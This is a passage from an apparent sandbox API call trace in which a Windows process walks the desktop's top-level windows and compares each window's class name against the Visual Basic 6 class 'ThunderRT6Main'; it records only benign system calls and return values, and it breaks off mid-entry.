GetClassNameA (in: hWnd=0x10172, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0159.691] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0159.691] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0159.691] GetClassNameA (in: hWnd=0x10174, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0159.691] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0159.691] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0159.691] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0159.691] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0159.691] GetClassNameA (in: hWnd=0x10170, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0159.691] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0159.691] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0159.691] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0159.691] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0159.691] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0159.691] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0159.691] GetClassNameA (in: hWnd=0x10166, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0159.691] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0159.691] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0159.691] GetClassNameA (in: hWnd=0x10168, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0159.691] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0159.691] GetClassNameA (in: hWnd=0x10162, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0159.691] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0159.691] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0159.691] GetClassNameA (in: hWnd=0x10164, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0159.691] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0159.691] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0159.691] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0159.691] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0159.691] GetClassNameA (in: hWnd=0x10160, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.691] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0159.691] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0159.692] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0159.692] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0159.692] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0159.692] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.692] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0159.692] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0159.692] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0159.692] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0159.692] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0159.692] GetClassNameA (in: hWnd=0x20156, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.692] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0159.692] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0159.692] GetClassNameA (in: hWnd=0x50128, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0159.692] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0159.692] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0159.692] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.692] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0159.692] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0159.692] GetClassNameA (in: hWnd=0x20020, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0159.692] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0159.692] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0159.692] GetClassNameA (in: hWnd=0x20024, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.692] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0159.692] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0159.692] GetClassNameA (in: hWnd=0x20022, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0159.692] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0159.692] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0159.692] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.692] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0159.692] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0159.692] GetClassNameA (in: hWnd=0x20158, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0159.692] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.692] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0159.692] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0159.692] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.692] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0159.692] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0159.692] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0159.692] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0159.692] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0159.692] GetClassNameA (in: hWnd=0x20140, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0159.692] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.693] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0159.693] GetClassNameA (in: hWnd=0x10134, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0159.693] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0159.693] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0159.693] GetClassNameA (in: hWnd=0x10136, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.693] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0159.693] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0159.693] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0159.693] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.693] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0159.693] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.693] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.693] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0159.693] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0159.693] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.693] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0159.693] GetClassNameA (in: hWnd=0x20068, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.693] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.693] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0159.693] GetClassNameA (in: hWnd=0x20066, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.693] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.693] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0159.693] GetClassNameA (in: hWnd=0x10124, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.693] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0159.693] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0159.693] GetClassNameA (in: hWnd=0x10122, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0159.693] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.693] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0159.693] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.693] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.693] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0159.693] GetClassNameA (in: hWnd=0x10118, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.693] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0159.693] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0159.693] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.693] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.693] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0159.693] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0159.693] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0159.693] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0159.694] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0159.694] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0159.694] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.694] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0159.694] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.694] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0159.694] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.694] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0159.694] GetClassNameA (in: hWnd=0x100be, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0159.694] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0159.694] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0159.694] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0159.694] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.694] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0159.694] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0159.694] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.694] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0159.694] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.694] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0159.694] GetClassNameA (in: hWnd=0x10086, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.694] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0159.694] GetClassNameA (in: hWnd=0x10082, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0159.694] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.694] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0159.694] GetClassNameA (in: hWnd=0x10060, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0159.694] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0159.694] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0159.694] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0159.694] GetClassNameA (in: hWnd=0x10062, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.694] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0159.695] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0159.695] GetClassNameA (in: hWnd=0x10050, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0159.695] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0159.695] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0159.695] GetClassNameA (in: hWnd=0x10058, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.695] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0159.695] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0159.695] GetClassNameA (in: hWnd=0x10054, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0159.695] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.695] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0159.695] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0159.695] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.695] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0159.695] GetClassNameA (in: hWnd=0x20046, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0159.695] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.695] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0159.695] GetClassNameA (in: hWnd=0x10048, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.695] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.695] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0159.695] GetClassNameA (in: hWnd=0x30040, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0159.695] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0159.695] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0159.695] GetClassNameA (in: hWnd=0x10044, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0159.695] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0159.695] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0159.695] GetClassNameA (in: hWnd=0x10042, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.695] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0159.695] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0159.695] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.695] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0159.695] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0159.695] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0159.695] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0159.695] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0159.695] GetClassNameA (in: hWnd=0x20074, lpClassName=0x2099b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0159.695] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0159.695] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.695] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0159.695] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5a32e80 [0159.696] IMalloc:Free (This=0x7fefe465380, pv=0x5a32e80) [0159.856] GetCurrentThreadId () returned 0xa30 [0159.856] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0159.856] GetDesktopWindow () returned 0x10010 [0159.856] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0159.856] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0159.856] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0159.856] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.856] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0159.856] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.856] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 